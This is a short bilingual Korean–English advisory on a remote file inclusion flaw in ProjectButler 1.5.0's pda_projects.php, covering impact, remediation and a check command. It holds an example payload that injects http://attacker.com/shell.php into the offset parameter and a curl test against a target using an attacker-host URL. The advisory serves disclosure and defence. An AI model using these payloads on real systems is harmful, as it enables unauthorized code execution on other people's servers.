🇰🇷 한글 설명
WebDynamite ProjectButler 1.5.0의 pda_projects.php 파일에 존재하는 원격 파일 포함(RFI) 취약점입니다. offset 파라미터를 통해 공격자가 외부 PHP 파일을 로드하고 임의의 PHP 코드를 실행할 수 있습니다.
💡 쉬운 설명
ProjectButler 웹 애플리케이션에서 특정 URL 매개변수를 조작하면 공격자가 임의의 코드를 실행할 수 있습니다. 마치 프로그래머가 실수로 문이 열려있는 상태로 두어 누구나 들어갈 수 있게 한 것과 같습니다.
🇺🇸 원문 (English)
PHP remote file inclusion vulnerability in pda_projects.php in WebDynamite ProjectButler 1.5.0 allows remote attackers to execute arbitrary PHP code via a URL in the offset parameter.
📍 영향받는 시스템
WebDynamite ProjectButler 1.5.0 (pda_projects.php)
⚔️ 공격 벡터
offset 파라미터에 원격 PHP 파일 URL 주입 (예: ?offset=http://attacker.com/shell.php)
🛡️ 대응 방법
ProjectButler 1.5.0 이상의 패치 버전으로 업그레이드 또는 offset 파라미터 입력 검증 강화
🔧 검증 코드
구버전이면 원격 파일이 로드되거나 실행되는 흔적이 보임; 패치 버전이면 접근 거부 또는 파라미터 무시됨
curl -s 'http://target/pda_projects.php?offset=http://attacker.com/test.php' 2>/dev/null | grep -i 'error\|warning'